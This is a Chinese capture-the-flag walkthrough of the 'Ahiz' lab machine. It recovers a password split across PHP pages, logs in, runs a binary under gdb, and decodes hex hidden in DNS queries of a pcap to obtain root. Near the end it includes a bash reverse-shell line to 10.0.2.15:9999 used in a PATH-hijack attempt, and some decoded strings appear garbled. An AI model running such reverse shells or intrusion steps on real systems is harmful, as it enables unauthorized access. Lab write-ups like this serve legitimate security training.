

ahiz-wp-Fzer0FA

一、信息收集

端口扫描，开放22，80端口；
使用dirsearch 扫描目录，存在x.php ；
结合首页提示，拆分密码可以猜测密码存放位置；

```
[root@kali ~]# curl http://10.0.2.24/64.php
M001

[root@kali ~]# curl http://10.0.2.24/65.php
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.62 (Debian) Server at 10.0.2.24 Port 80</address>
</body></html>
```

二、获取立足点

写个脚本拼接密码

```
#!/bin/bash

# 定义目标IP
TARGET_IP="10.0.2.24"

# 初始化一个空字符串来存储完整的密码
FULL_PASSWORD=""

# 使用 for 循环从 1.php 到 64.php 获取内容
for i in {1..64}
do
    # 使用 curl 获取每个文件的内容，-s 参数用于静默模式
    PARTIAL_PASSWORD=$(curl -s "http://${TARGET_IP}/${i}.php")

    # 将获取到的内容追加到完整密码字符串的末尾
    FULL_PASSWORD="${FULL_PASSWORD}${PARTIAL_PASSWORD}"
done

# 打印完整的密码
```

```
echo "完整的密码是: ${FULL_PASSWORD}"
```

```
[root@kali]~/Desktop/ahiz]
# ./get_pass.sh
完整的密码是: Vn0weGxSXhWWGhTV0d4VFYwZG9WVll3WkRSWFJteDBaVVYwVjJKR2JETlpWVlpQWVVA52MxZHvhRmRTTTJoUVZtMXplRll4WkhWaVJtUnBWMGRvZVZac1VrZ
FpWMDE0Vkc1T1dHSkdjSEJXYTFwaFpWmFjV5xVWxwV01VcElWbTAxVjJGc1NuVlJiVGxhVjBoQ1dGUlh1R0ZqYkd0NllVWk9UbUY2VmpWV1JscFhWakpHU0ZadVJsSldSM001

[root@kali]~/Desktop/ahiz]
# cat get_pass.sh
#!/bin/bash

# 定义目标IP
TARGET_IP="10.0.2.24"

# 初始化一个空字符串来存储完整的密码
FULL_PASSWORD=""

# 使用for循环从1.php到64.php获取内容
for i in {1..64}
do
    # 使用curl获取每个文件的内容,-s参数用于静默模式
    PARTIAL_PASSWORD=$(curl -s "http://${TARGET_IP}/${i}.php")

    # 将获取到的内容追加到完整密码字符串的末尾
    FULL_PASSWORD="${FULL_PASSWORD}${PARTIAL_PASSWORD}"
done

# 打印完整的密码
echo "完整的密码是: ${FULL_PASSWORD}"
```

base64解码后得到用户密码，结合网页上的用户名；

```
to { width: 40em } /*逐字显示宽度，根据文字长度调 */
}
@keyframes blink {
    from, to { border-color: transparent }
    50% { border-color: white; }
}
</style>
</head>
<body>
    <div class="banner">
        这是一个非常简单的入口，密码我已经分成了好多串 快来获取吧 welcome
    </div>
</body>
</html>
```

获取到身份凭证

```
welcome:passwd@123ZZZZ123
```

获取立足点成功；

当前用户目录下存在一个可执行文件；

获取到本地用gdb调试；

```
For help, type "help".
Type "apropos word" to search for commands related to "word" ...
Reading symbols from 1 ...
(No debugging symbols found in 1)
(gdb) run $(python -c 'print "A"*300')
Starting program: /home/kali/Desktop/ahiz/1 $(python -c 'print "A"*300')
  File "<string>", line 1
    print "A"*300
    ^^^^^^^^^^^^^^

SyntaxError: Missing parentheses in call to 'print'. Did you mean print( ... )?
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Detaching after fork from child process 2297]
Usage: /home/kali/Desktop/ahiz/1 <string>大于密码长度
[Inferior 1 (process 2250) exited with code 01]
(gdb) run $(python -c 'print("A"*300)')
Starting program: /home/kali/Desktop/ahiz/1 $(python -c 'print("A"*300)')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Detaching after fork from child process 2352]
✓ Good job! Here is your flag:
user_FLAG{this_is_a_safe_demo_flag}
[Inferior 1 (process 2307) exited normally]
(gdb) █
```

获取到user_flag

三、提权

```
welcome@Ahiz:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
welcome@Ahiz:~$ █
```

没有找到文件可提权的信息；

查看/opt 目录 有个数据包，down到本地查看

No.	Time	Source	Destination	Protocol	Length Info
1	0.000000	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A 3.example.com
2	0.000266	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A 6.example.com
3	0.000419	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A .example.com
4	0.000545	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A 6.example.com
5	0.000674	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A d.example.com
6	0.000807	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A .example.com
7	0.001037	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A 3.example.com
8	0.001174	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A .example.com
9	0.001201	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A .example.com
10	0.001346	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A 7.example.com
11	0.001479	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A 8.example.com
12	0.001613	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A .example.com
13	0.001746	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A 6.example.com
14	0.001878	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A 4.example.com
15	0.002000	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A .example.com
16	0.002139	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A 3.example.com
17	0.002272	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A 1.example.com
18	0.002408	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A .example.com
19	0.002536	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A 4.example.com
20	0.002669	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A 9.example.com
21	0.002800	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A .example.com
22	0.002931	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A 7.example.com
23	0.003184	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A 8.example.com
24	0.003324	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A .example.com
25	0.003458	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A 5.example.com
26	0.003596	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A 6.example.com
27	0.003727	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A .example.com
28	0.003861	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A 5.example.com
29	0.003991	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A 8.example.com
30	0.004125	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A .example.com
31	0.004262	192.168.31.98	8.8.8.8	DNS	59 Standard query 0x0000 A 5.example.com

第一次查看的时候忽略了域名前面的信息。。。

```
tshark -r dns_data.pcap -Y "dns" -T fields -e dns.qry.name | awk -F'.' '
'{print $1}' | tr -d '\n'
```

```
(kali㉿kali)-[~/Desktop/ahiz]
$ tshark -r dns_data.pcap -Y "dns" -T fields -e dns.qry.name | awk -F'.' '{print $1}' | tr -d '\n'
56 6d 30 78 64 31 49 78 56 58 68 53 57 47 78 54 56 30 64 6f 56 56 59 77 5a 44 52 58 52 6d 78 30 5a 55 56 5a 50 59 55 5a 4b 6
3 31 64 75 51 64 53 4d 32 68 51 56 6d 31 7a 65 46 59 78 5a 48 56 69 52 6d 52 70 56 30 64 6f 65 56 5a 72 55 6b 64 5a 56 30 31 34 56 47 35 4f 57 47 4a 47 63
46 68 55 56 45 5a 4c 5a 56 5a 6b 56 31 64 73 57 6d 78 53 4d 44 56 36 56 32 74 6f 54 32 46 73 53 6e 56 52 62 6b 4a 61 59 6b 5a 4b 65 56 70 58 65 47 46 57 62
47 52 79 56 32 78 43 56 32 45 77 63 46 52 57 56 56 70 53 5a 44 46 43 55 6c 42 55 4d 44 30 3d

(kali㉿kali)-[~/Desktop/ahiz]
$ echo "Vm0xd1IxVhSwGxTv0doVYywZDRXRmx0ZUV0V2JGbDNZVVZPYUZKc1duaFdSM2hQVm1zeFYxZHViRmRpV0doeVzrUkdZv014VG50WgJGcFhUVEZLZVzkV1dsWmxSMDV6V2toT2FsSnVrbkJaYkZ
KeVpXeGFwbGRyV2xCv2EwcFRWVpSzDFCulBUMD0=" |base64 -d
Vm1wR1uRxLSWghUV0d4WFlteEtWbf13YUVoFJsWnhWR3hPvmsxV1dubFdiWGHyVkrGywMxTnNbxFpXTTFKeVdWwlZlr05zWkhOalJuQnBzbFJyZwxaVldrWlBwa0pTVUZrd1BRPT0=
64 -d
VmpGU1EyRxhTwGxXYmxKvlywaEnhRLzXVGx0V1WnlWbxhRvDFac1NsWlZwm1JyWVzVeGnsZhnjRnBpYlRrelZVwkZPVkJSUFQwPQ==
```

提权数据包中16进制的隐藏信息

16进制到ASCII字符串在线转换工具

```
1 56 6d 30 78 64 31 49 78 56 58 68 53 57 47 78 54 56 30 64 6f 56 56 59 77 5a 44 52 58 52 6d 78 30 5a 55 56 30 56 32 4a 47 62
44 4e 5a 56 56 5a 50 59 55 5a 4b 63 31 64 75 61 46 64 53 4d 32 68 51 56 6d 31 7a 65 46 59 78 5a 48 56 69 52 6d 52 70 56 30
64 6f 65 56 5a 72 55 6b 64 5a 56 30 31 34 56 47 35 4f 57 47 4a 47 63 46 68 55 56 45 5a 4c 5a 56 5a 6b 56 31 64 73 57 6d 78
53 4d 44 56 36 56 32 74 6f 54 32 46 73 53 6e 56 52 62 6b 4a 61 59 6b 5a 4b 65 56 70 58 65 47 46 57 62 47 52 79 56 32 78 43
56 32 45 77 63 46 52 57 56 56 70 53 5a 44 46 43 55 6c 42 55 4d 44 30 3d
```

清空 交换位置 示例 转换 保存结果 复制结果

```
1 Vm0xd1IxVhSwGxTv0doVYywZDRXRmx0ZUV0V2JGbDNZVVZPYUZKc1duaFdSM2hQVm1zeFYxZHViRmRpV0doeVzrUkdZv014VG50WgJGcFhUVEZLZVzkV1dsWmxSMDV6V2toT2FsSnVrbkJaYkZ
KeVpXeGFwbGRyV2xCv2EwcFRWVpSzDFCulBUMD0=
```

转ASCII后再解base64后可得到root密码

```
root : passwd@123Ahiz
```

```
(kali㉿kali)-[~/Desktop/ahiz]
└─$ echo "cGFzc3dkQDEyM0FoaXo=" |base64 -d
passwd@123Ahiz

welcome@Ahiz:/$ su root
Password:
root@Ahiz:/# cat /root/root.txt
flag{root}
root@Ahiz:/# █
```

另外，/ 目录下有个passwd文件，尝试修改环境变量提权失败。。。

```
welcome@Ahiz:/$ cat /home/welcome/1231sada
#!/bin/sh
/bin/sh
bash -c 'exec bash -i &>/dev/tcp/10.0.2.15/9999 <&1'
welcome@Ahiz:/$ ./passwd
./passwd: line 1: 1231sada: command not found
welcome@Ahiz:/$ export PATH=/home/welcome:$PATH
welcome@Ahiz:/$ ls -liah passwd
23 -rwxr-xr-x 1 root root 9 Sep  3 13:12 passwd
welcome@Ahiz:/$ ./passwd
$ id
uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)
$ cat /etc/cron*
cat: /etc/cron.d: Is a directory
cat: /etc/cron.daily: Is a directory
cat: /etc/cron.hourly: Is a directory
cat: /etc/cron.monthly: Is a directory
cat: /etc/cron.weekly: Is a directory
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab`
# command to install the new version when you edit this file
```